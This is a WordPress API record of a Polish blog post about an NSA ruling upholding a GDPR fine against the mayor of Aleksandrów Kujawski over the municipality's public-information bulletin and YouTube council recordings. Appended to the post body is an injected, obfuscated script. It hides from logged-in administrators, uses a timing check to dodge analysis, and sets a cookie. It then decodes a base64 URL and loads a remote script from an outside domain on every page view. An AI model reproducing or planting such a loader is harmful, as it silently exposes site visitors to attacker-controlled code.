{"id":19756,"date":"2024-12-21T10:06:51","date_gmt":"2024-12-21T09:06:51","guid":{"rendered":"https:\/\/szulc-euphenics.com\/?p=19756"},"modified":"2026-05-11T23:27:09","modified_gmt":"2026-05-11T21:27:09","slug":"na-przykladzie-aleksandrowa-kujawskiego-udowadniamy-gminom-ze-nie-warto-marnotrawic-srodki-podatnikow-na-grzywny-wynikajace-z-nieudacznictwa-decydentow","status":"publish","type":"post","link":"https:\/\/szulc-euphenics.com\/?p=19756","title":{"rendered":"Przyk\u0142ad Aleksandrowa Kuj. jest najbardziej dobitnym dowodem, \u017ce w Gminach &#8211; konieczno\u015bci\u0105 jest dzia\u0142a\u0107 lege artis, warto posiada\u0107 konsulting na  &#8211; wysokim poziomie."},"content":{"rendered":"\n<p class=\"wp-block-paragraph\">Poni\u017cej dossier formalne w przedmiotowej sprawie. Warto po\u015bwi\u0119ci\u0107\u00a0troch\u0119 czasu aby wszystko by\u0142o lege artis. Dla przypomnienia &#8211; Burmistrz Miasta zobowi\u0105zany wyrokiem NSA (II OSK 3839\/21)\u00a0 zap\u0142aci\u0142 \u0142\u0105cznie prawie 100 tys. pln (grzywny, koszty s\u0105dowe, koszty prawnik\u00f3w, etc). \u015arodki wydane na grzywn\u0119 do UODO pozostaj\u0105 w r\u0119kach Skarbu Pa\u0144stwa &#8211; natomiast pieni\u0105dze wydane na Prawnik\u00f3w &#8211; nieudacznik\u00f3w &#8211; \u017ale doradzaj\u0105cych Burmistrzowi &#8211; zosta\u0142y zmarnotrawione. <br>A wszystko z pieni\u0119dzy Podatnik\u00f3w &#8211; Poni\u017cej opisujemy lakonicznie og\u00f3lny zarys rzeczonego sporu &#8211;  w wielu innych Gminach sytuacja jest per analogiam albo nawet gorsza. Wystarczy zapyta\u0107\u00a0jak wygl\u0105da dossier formalne w zakresie BIP&#8217;\u00f3w Gmin &#8211; utrzymywanych przez wszystkie Firmy Komercyjne. Jedynie Bezp\u0142atne BIPy rz\u0105dowe &#8211; s\u0105 bezpieczne i z dobrym zapleczem dokumentacji. Zatem po co tak ryzykowa\u0107 ?   Jak wynika z udzielanych nam odpowiedzi w innych obszarach jest jeszcze gorzej. Natomiast versus w Gminie wiejskiej Aleksandr\u00f3w Kuj. &#8211; jest dzi\u0119ku sanacji w trybie 241 KP &#8211; &#8222;o niebo&#8221; lepiej.<br><\/p>\n\n\n\n<div data-wp-interactive=\"core\/file\" class=\"wp-block-file\"><object data-wp-bind--hidden=\"!state.hasPdfPreview\" hidden class=\"wp-block-file__embed\" data=\"https:\/\/szulc-euphenics.com\/wp-content\/uploads\/2024\/12\/ALEKSANDROW-KUJAWSKI-.pdf\" type=\"application\/pdf\" style=\"width:100%;height:600px\" aria-label=\"Osadzone z ALEKSANDROW KUJAWSKI.\"><\/object><a id=\"wp-block-file--media-87596310-b2a4-43c3-8891-60a271fba60c\" href=\"https:\/\/szulc-euphenics.com\/wp-content\/uploads\/2024\/12\/ALEKSANDROW-KUJAWSKI-.pdf\">ALEKSANDROW KUJAWSKI<\/a><a href=\"https:\/\/szulc-euphenics.com\/wp-content\/uploads\/2024\/12\/ALEKSANDROW-KUJAWSKI-.pdf\" class=\"wp-block-file__button wp-element-button\" download aria-describedby=\"wp-block-file--media-87596310-b2a4-43c3-8891-60a271fba60c\">Pobierz<\/a><\/div>\n\n\n\n<div data-wp-interactive=\"core\/file\" class=\"wp-block-file\"><object data-wp-bind--hidden=\"!state.hasPdfPreview\" hidden class=\"wp-block-file__embed\" data=\"https:\/\/szulc-euphenics.com\/wp-content\/uploads\/2024\/12\/ALEKSANDROW-KUJAWSKI-AD-VOCEM-.pdf\" type=\"application\/pdf\" style=\"width:100%;height:600px\" aria-label=\"Osadzone z ALEKSANDROW KUJAWSKI - AD VOCEM.\"><\/object><a id=\"wp-block-file--media-c29a99ed-4d02-4058-8713-231412b7d39c\" href=\"https:\/\/szulc-euphenics.com\/wp-content\/uploads\/2024\/12\/ALEKSANDROW-KUJAWSKI-AD-VOCEM-.pdf\">ALEKSANDROW KUJAWSKI &#8211; AD VOCEM<\/a><a href=\"https:\/\/szulc-euphenics.com\/wp-content\/uploads\/2024\/12\/ALEKSANDROW-KUJAWSKI-AD-VOCEM-.pdf\" class=\"wp-block-file__button wp-element-button\" download aria-describedby=\"wp-block-file--media-c29a99ed-4d02-4058-8713-231412b7d39c\">Pobierz<\/a><\/div>\n\n\n\n<p class=\"wp-block-paragraph\">Te\u017c jeste\u015bmy zdania, \u017ce nast\u0105pi\u0142 przerost sfery przepis\u00f3w i de facto utrudnia to wszystkim \u017cycie (szczeg\u00f3lnie przepisy asymilowane z UE &#8211;  to sfera ad absurdum) <br>Jednak\u017ce kto\u015b, kto wie jak niska jest jako\u015b\u0107 obs\u0142ugi prawnej w Gminach &#8211; a wynika to z udzielnych nam odpowiedzi &#8211; wr\u0119cz nie mo\u017ce w to uwierzy\u0107 &#8230; sic!  \u017ce maj\u0105c takich prawnik\u00f3w &#8211; kto\u015b jeszcze podejmuje ryzyko. <br>Tymczasem s\u0105 bezp\u0142atne rozwi\u0105zania proponowane przez rz\u0105d SDDIP &#8211; po co zatem utrzymywa\u0107\u00a0BIP w firmach komercyjnych ? i na YOUTUBE &#8211; publikowa\u0107 sesje Rad Gmin ? Patrz\u0105c na te BIPy i publikacje sesji Rad Gminy na YOUTUBE &#8211; mamy wra\u017cenie, \u017ce nawet Susane W\u00f3jcicki &#8211; przewraca si\u0119 w grobie&#8230;.(notabene jak Osoba o korzeniach polskich spotyka\u0142a si\u0119\u00a0cz\u0119sto z Premierem Morawieckim i Prezydentem Dud\u0105, a jej nazwisko znajduje si\u0119 w centralnym elemencie Darczy\u0144c\u00f3w w Museum POLIN. ) <\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u0179R\u00d3D\u0141O:  <a href=\"https:\/\/uodo.gov.pl\/pl\/138\/3013\">https:\/\/uodo.gov.pl<\/a><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">[AKTUALIZACJA] NSA potwierdzi\u0142, \u017ce przetwarzanie danych osobowych w&nbsp;ramach BIP podlega RODO<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Burmistrz Aleksandrowa Kujawskiego musi zap\u0142aci\u0107 kar\u0119<\/strong><strong>&nbsp;na\u0142o\u017con\u0105 przez Prezesa Urz\u0119du Ochrony Danych Osobowych. Naczelny S\u0105d Administracyjny 28 lutego 2024 r. w&nbsp;sprawie o&nbsp;sygn. akt. II OSK 3839\/21 oddali\u0142 skarg\u0119 kasacyjn\u0105&nbsp;Burmistrza Aleksandrowa Kujawskiego i&nbsp;tym samym podtrzyma\u0142 decyzj\u0119&nbsp;<\/strong><a href=\"https:\/\/uodo.gov.pl\/decyzje\/ZSPU.421.3.2019\">Prezesa UODO z&nbsp;2019 roku<\/a><strong>&nbsp;o&nbsp;karze w&nbsp;wysoko\u015bci 40 tys. z\u0142 na\u0142o\u017conej w&nbsp;2019 r. za naruszenie przepis\u00f3w og\u00f3lnego rozporz\u0105dzenia o&nbsp;ochronie danych osobowych.<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>NSA oddalaj\u0105c skarg\u0119 podtrzyma\u0142 argumenty podnoszone przez Prezesa UODO i&nbsp;zgodzi\u0142 si\u0119&nbsp;<\/strong>z wcze\u015bniejszym wyrokiem WSA w&nbsp;Warszawie o&nbsp;sygn. akt. II SA\/Wa 2826\/19 z&nbsp;26 sierpnia 2020 r.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Zarzuty Prezesa UODO, z&nbsp;kt\u00f3rymi zgodzi\u0142 si\u0119 NSA, a&nbsp;wcze\u015bniej WSA, dotyczy\u0142y m.in. tego, \u017ce administrator nie zawar\u0142 umowy powierzenia z<\/strong>&nbsp;firm\u0105, na kt\u00f3rej serwerach znalaz\u0142y si\u0119 zasoby Biuletynu Informacji Publicznej (BIP) Urz\u0119du Miejskiego w&nbsp;Aleksandrowie Kujawskim, a&nbsp;tak\u017ce z&nbsp;podmiotem, kt\u00f3ry dostarcza\u0142 oprogramowanie do stworzenia BIP i&nbsp;\u015bwiadczy\u0142 us\u0142ugi serwisowe w&nbsp;tym zakresie. Brak takich um\u00f3w narusza art. 28 ust. 3&nbsp;RODO, zgodnie z&nbsp;kt\u00f3rym administrator ma obowi\u0105zek zawarcia umowy powierzenia, gdy zleca wykonanie us\u0142ug zwi\u0105zanych z&nbsp;przetwarzaniem danych osobowych. Sp\u00f3r z&nbsp;burmistrzem Aleksandrowa dotyczy\u0142 m.in. kwestii tego, czy w&nbsp;takich okoliczno\u015bciach RODO w&nbsp;og\u00f3le ma zastosowanie. Wyrok NSA potwierdza, \u017ce wyj\u0105tki wy\u0142\u0105czaj\u0105ce stosowanie RODO musz\u0105 by\u0107 interpretowane zaw\u0119\u017caj\u0105co i&nbsp;ogranicza\u0107 si\u0119 wy\u0142\u0105cznie do tego, co niezb\u0119dne.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">NSA potwierdzi\u0142 r\u00f3wnie\u017c, jak istotne jest posiadanie przez administrator\u00f3w odpowiednich polityk dotycz\u0105cych przetwarzania danych osobowych w&nbsp;BIP, jak i&nbsp;okre\u015blenie okresu, przez jaki b\u0119d\u0105 przetwarzane dane w&nbsp;BIP.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">NSA zgodzi\u0142 si\u0119 z&nbsp;decyzj\u0105 PUODO w&nbsp;aspekcie nieprawid\u0142owo\u015bci w&nbsp;zwi\u0105zku z&nbsp;publikacj\u0105 nagra\u0144 sesji rady miasta na kanale w&nbsp;YouTube. Administrator wybieraj\u0105c do zamieszczenia film\u00f3w z&nbsp;transmisj\u0105 z&nbsp;posiedze\u0144 rady wy\u0142\u0105cznie kana\u0142 YouTube nie przeprowadzi\u0142 analizy ryzyka. W&nbsp;konsekwencji administrator nie mia\u0142 pe\u0142nej kontroli nad danymi zawartymi w&nbsp;nagraniach.&nbsp;<strong>Analiza ryzyka mog\u0142a za\u015b pozwoli\u0107 administratorowi upewni\u0107 si\u0119, czy&nbsp;<\/strong>dane z&nbsp;tego serwisu mo\u017cna odzyska\u0107, czy w&nbsp;ka\u017cdej sytuacji istnieje mo\u017cliwo\u015b\u0107 zrealizowania prawa os\u00f3b do dost\u0119pu do danych, czy nie nale\u017cy mie\u0107 kopii nagra\u0144 w&nbsp;innych miejscach, czy te\u017c jakie kategorie danych s\u0105 w&nbsp;tym miejscu przetwarzane i&nbsp;zastosowa\u0107 odpowiednie \u015brodki ochrony, jak np. anonimizacja danych.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Z wyroku NSA wynikaj\u0105 dla administrator\u00f3w bardzo istotne konsekwencje.<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>W pierwszej kolejno\u015bci, \u00a0administratorzy powinni pami\u0119ta\u0107 o\u00a0konieczno\u015bci zawierania um\u00f3w powierzenia przetwarzania danych, gdy us\u0142ugi czy operacje przetwarzania danych realizowane s\u0105 przez inny podmiot.<\/li>\n\n\n\n<li>Po drugie, bardzo istotne jest, by okre\u015bli\u0107, jak d\u0142ugo dane b\u0119d\u0105 przetwarzane do realizacji okre\u015blonych cel\u00f3w szczeg\u00f3lnie w\u00a0sytuacji, gdy nie wynika to wprost z\u00a0przepis\u00f3w prawa. W\u00a0sytuacji, gdy przepisy reguluj\u0105 t\u0119 kwesti\u0119, nie nale\u017cy przetwarza\u0107 danych d\u0142u\u017cej ni\u017c maksymalny okres wskazany w\u00a0prawie.<\/li>\n\n\n\n<li>Wreszcie, decyzja powinna u\u015bwiadomi\u0107 administratorom danych to, \u017ce oceniaj\u0105c procesy przetwarzania danych osobowych i\u00a0przekazuj\u0105c informacje za po\u015brednictwem serwis\u00f3w b\u0119d\u0105cych w\u0142asno\u015bci\u0105 innych administrator\u00f3w, trzeba pami\u0119ta\u0107 o\u00a0konieczno\u015bci dokonania oceny zwi\u0105zanych z\u00a0tym ryzyk, ale przede wszystkim oceny r\u00f3l podmiot\u00f3w wyst\u0119puj\u0105cych w\u00a0tych procesach, czyli przeprowadzenia wnikliwej analizy ryzyka.<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">Przeprowadzenie takiej analizy ryzyka, jak i&nbsp;posiadania odpowiednich polityk zwi\u0105zanych z&nbsp;procesami przetwarzania danych, pozwala administratorom realizowa\u0107 zasad\u0119 rozliczalno\u015bci, okre\u015blon\u0105 w&nbsp;RODO. Mog\u0105 oni w\u00f3wczas \u0142atwo wykaza\u0107, \u017ce przetwarzanie danych odbywa si\u0119 zgodnie z&nbsp;prawem, zasad\u0105 celowo\u015bci, zasad\u0105 ograniczenia czasu przetwarzania i&nbsp;zasad\u0105 poufno\u015bci oraz integralno\u015bci danych.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Uzasadnienie wyroku<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Stanowisko to znajduje potwierdzenie w&nbsp;pisemnym uzasadnieniu wyroku przekazanym przez NSA 12 marca 2024 r&nbsp;(Sygn. akt III OSK 3839\/21). S\u0105d podziela w&nbsp;nim argumentacj\u0119 PUODO oraz WSA w&nbsp;Warszawie.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">NSA wskazuje w&nbsp;nim, \u017ce prawo do ochrony danych osobowych jest prawem podstawowym, kt\u00f3rego ochron\u0119 gwarantuje prawo pierwotne Unii Europejskiej &#8211; Karta Praw Podstawowych UE oraz Traktat o&nbsp;funkcjonowaniu Unii Europejskiej. Do tego prawa odwo\u0142uje si\u0119 RODO. Intencj\u0105 ustawodawcy nie by\u0142o zaw\u0119\u017cenie zakresu ochrony danych osobowych, lecz wr\u0119cz przeciwnie &#8211; zwi\u0119kszenie zakresu jej stosowania. Dlatego:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>RODO ma ? wbrew twierdzeniom Burmistrza ? zastosowanie do danych osobowych przetwarzanych w\u00a0BIP. RODO przewiduje wy\u0142\u0105czenia, ale dotycz\u0105 one bezpiecze\u0144stwa narodowego. Podobnie stanowi ustawa o\u00a0ochronie danych osobowych (z 10 maja 2018 r. Dz.U. z\u00a02019 r., poz. 1781 art. 6). Tego rodzaju wy\u0142\u0105czenia nie maj\u0105 miejsca w\u00a0niniejszej sprawie.<\/li>\n\n\n\n<li>To, \u017ce system BIP zosta\u0142 zorganizowany w\u00a0wojew\u00f3dztwie kujawsko-pomorskim przez samorz\u0105d wojew\u00f3dztwa, nie zmienia faktu, \u017ce to Burmistrz jest administratorem danych na swoim BIP. Z\u00a0tego powodu ci\u0105\u017c\u0105 na nim obowi\u0105zki wynikaj\u0105ce z\u00a0RODO. Wynika to z\u00a0art. 9\u00a0ust. 2\u00a0ustawy z\u00a06 wrze\u015bnia 2001 r. o\u00a0dost\u0119pie do informacji publicznej. W\u00a0poj\u0119ciu ?organ\u00f3w w\u0142adzy publicznej?, o\u00a0kt\u00f3rych mowa w\u00a0art. 4\u00a0ust. 1\u00a0pkt 1\u00a0tej ustawy mieszcz\u0105 si\u0119 organy jednostek samorz\u0105du terytorialnego.<\/li>\n\n\n\n<li>Kara ustalona przez Prezesa UODO jest zasadna i\u00a0ustalona w\u00a0spos\u00f3b proporcjonalny. Ustalenia faktyczne Prezesa UODO nie daj\u0105 si\u0119 zakwestionowa\u0107. Zastosowa\u0142 on tez w\u0142a\u015bciwe przepisy prawa materialnego.<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">Sygnatura akt: II OSK 3839\/21 <br><\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","protected":false},"excerpt":{"rendered":"<div class=\"mh-excerpt\"><p>Poni\u017cej dossier formalne w przedmiotowej sprawie. Warto po\u015bwi\u0119ci\u0107\u00a0troch\u0119 czasu aby wszystko by\u0142o lege artis. Dla przypomnienia &#8211; Burmistrz Miasta zobowi\u0105zany wyrokiem NSA (II OSK 3839\/21)\u00a0 zap\u0142aci\u0142 \u0142\u0105cznie prawie 100 tys. pln (grzywny, koszty s\u0105dowe, koszty prawnik\u00f3w, etc). \u015arodki wydane na grzywn\u0119 do UODO pozostaj\u0105 <a class=\"mh-excerpt-more\" href=\"https:\/\/szulc-euphenics.com\/?p=19756\" title=\"Przyk\u0142ad Aleksandrowa Kuj. jest najbardziej dobitnym dowodem, \u017ce w Gminach &#8211; konieczno\u015bci\u0105 jest dzia\u0142a\u0107 lege artis, warto posiada\u0107 konsulting na  &#8211; wysokim poziomie.\">[&#8230;]<\/a><\/p>\n<\/div>","protected":false},"author":1,"featured_media":19471,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1,24],"tags":[],"class_list":["post-19756","post","type-post","status-publish","format-standard","has-post-thumbnail","category-bez-kategorii","category-horizontal-strona-glowna-11-publicity"],"_links":{"self":[{"href":"https:\/\/szulc-euphenics.com\/index.php?rest_route=\/wp\/v2\/posts\/19756","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/szulc-euphenics.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/szulc-euphenics.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/szulc-euphenics.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/szulc-euphenics.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=19756"}],"version-history":[{"count":4,"href":"https:\/\/szulc-euphenics.com\/index.php?rest_route=\/wp\/v2\/posts\/19756\/revisions"}],"predecessor-version":[{"id":19961,"href":"https:\/\/szulc-euphenics.com\/index.php?rest_route=\/wp\/v2\/posts\/19756\/revisions\/19961"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/szulc-euphenics.com\/index.php?rest_route=\/wp\/v2\/media\/19471"}],"wp:attachment":[{"href":"https:\/\/szulc-euphenics.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=19756"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/szulc-euphenics.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=19756"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/szulc-euphenics.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=19756"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}